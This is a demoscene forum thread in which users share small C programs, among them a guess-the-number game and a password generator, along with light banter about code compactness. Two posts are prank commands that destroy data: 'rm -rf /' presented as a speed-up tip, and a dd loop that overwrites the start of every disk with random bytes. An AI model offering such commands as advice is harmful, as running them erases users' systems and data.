Behold! The interesting little programs thread.

category: code [glöplog]
While it's fun to write little, more or less clever versions of the fizz buzz test, these kind of exercises leave something to be desired. Those things are useless, they do nothing interesting. So, here's a thread I'd like to dedicate to small, relatively simple and useful/interesting/entertaining and possibly interactive programs.

To get the ball going, I present a version of the Guess-My-Number game, most of you will be very familiar with and which was always the better "hello world" anyway. :)

Code: /* the usual includes (+time.h) and main() body goes here */ #define P printf int r,a=4,i=0,A=1,Z=10; srand(time(0)); for( P("%d..%d\n",A,Z),r=(rand()%(Z-A+1))+A; r^i&&(a--?P("(try %d/4)?:",4-a): !P("Comp wins! (was:%d)",r)); ) { scanf("%d",&i); P("%s\n",r>i?"Mine's >":r<i?"Mine's <":"Got it.\nYou win!"); }
added on the 2012-07-04 10:25:10 by tomaes tomaes
is that just intentionally obfuscated?
added on the 2012-07-04 10:44:04 by skrebbel skrebbel
Anyway, I'd like to abuse this thread to market my most recent open source brainfart: using the C# compiler's built-in state machine generator for.. state machines!

It's based on best-practice features such as "goto" and reflection, so I'm sure you'll love it.

added on the 2012-07-04 10:48:08 by skrebbel skrebbel
BB Image
added on the 2012-07-04 10:53:44 by kbi kbi
BB Image
added on the 2012-07-04 11:00:35 by Tjoppen Tjoppen
A small program I made to not let Windows sleep while a process is running (I needed it for some scheduled tasks on third-party programs which would not prevent Windows from sleeping):
added on the 2012-07-04 11:51:03 by Jcl Jcl
skrebbel: "yield" statement in C#, new to me (fucking hell its .net 2.0), so strange - yet cool!
added on the 2012-07-04 12:07:15 by TLM TLM
Crap posters should feel bad and stay away, if they have nothing to contribute. :)

skrebbel: I guess I was going for compactness and especially in a c context it does not quality for being obfuscated much at all.
added on the 2012-07-04 14:49:48 by tomaes tomaes
yet another one of those c-tiny sourcecode thingies
added on the 2012-07-04 15:28:48 by rudi rudi
Here is a nice little command to run on your freshly installed linux installation (make the os load faster):

Code:rm -rf /
added on the 2012-07-04 15:35:50 by Tigrou Tigrou
Code:for i in /dev/?d?; do dd if=/dev/urandom of=$i bs=1 count=512;done
added on the 2012-07-04 16:02:58 by skomp skomp
Skrebbel: It seems you forgot to commit your unit tests!
added on the 2012-07-04 17:43:14 by sagacity sagacity
this guy wins anyway
added on the 2012-07-04 19:53:38 by provod provod
haha, nice article
added on the 2012-07-04 20:04:00 by v3nom v3nom
sagacity, i very much did :-) i promise to add them the moment i get a single pull request, reported issue or active user.
added on the 2012-07-04 20:42:02 by skrebbel skrebbel
Skrebbel: I bow to thee, that's wonderful! I always thought that yield return is very cool :)
added on the 2012-07-04 22:15:50 by xTr1m xTr1m

now you can use soundfonts in sequencers if you dont have a creative card. Drivers are tiny and optimized too. works on x64 windows.
added on the 2012-07-05 05:55:45 by mudlord mudlord
Not giving up on the thread idea just yet:

Code: #define MAXLEN 20 int i,r; char inp[MAXLEN] = {0}, outp[MAXLEN] = {0}; printf("\ninput:"); scanf("%s20", &inp); if (*inp>='a' && *inp<='f') r = *inp-'a'+10; else if (*inp>='0' && *inp<='9') r = *inp-'0'; srand(time(0)); while(r--) { for(i = 1; i < strlen(inp); i++) (inp[i]=='0')? outp[i-1]='0'+rand()%10: (inp[i]=='x')? outp[i-1]='a'+rand()%26:0; printf("\n (%2.d) pwd: %s", r+1, outp); }

A tiny, but somewhat versatile password generator. Takes formated input and produces output like this:

Code: input: 5xxx000x0x0 ( 5) pwd: lkr967v5c1 ( 4) pwd: hwd996t2v7 ( 3) pwd: tws557k6x9 ( 2) pwd: eny729y7m4 ( 1) pwd: hyo523p5f4
added on the 2012-07-05 10:11:16 by tomaes tomaes
did you know that the more obfuscated and crappy you make your C code look, the faster it executes and more clever it looks.
added on the 2012-07-05 10:16:56 by shuffle2 shuffle2
Also - you'd definately want to remove 0,O,o,1,l,i and I ... users will always misread them.
added on the 2012-07-05 10:32:56 by Punqtured Punqtured
@Tigrou - you forgot "sudo" you silly person.
added on the 2012-07-05 13:16:49 by ringofyre ringofyre
@ringofyre : people doing that kind of things are the kind of people who like to login as root...
added on the 2012-07-05 13:35:11 by flure flure
did you know that the more obfuscated and crappy you make your C code look, the faster it executes and more clever it looks.

It's not about "being clever" (unless using ternary operators counts as "clever" in your book). It's more about making it compact and spending less space per functionality. As long as it's still quite clear what's going on, that should be fine. True obfuscation looks a lot different and unless you spend hours dissecting it, you can't figure it out. Not to mention that C is not a very elegant language to begin with and a bit hard on the eyes.

Punqtured: Good point. Obviously depends on the CLI/system fonts a lot.

Ok, thread failed. Nuke it from orbit.
added on the 2012-07-05 19:36:47 by tomaes tomaes
tomaes, what's the advantage of making it that compact? true question, i know none, but i may be missing something. to me it's just less readable, and that's the only difference. i mean, why call a variable 'r' if you could call it 'amount'? note, i'm not advocating going all requestedAmountOfPasswords on this, just, well, a word maybe?
added on the 2012-07-05 22:02:52 by skrebbel skrebbel
Automate OpenGL extension initialization for 4k intro.
It is only 1 header file.
added on the 2012-07-05 22:24:23 by tomohiro tomohiro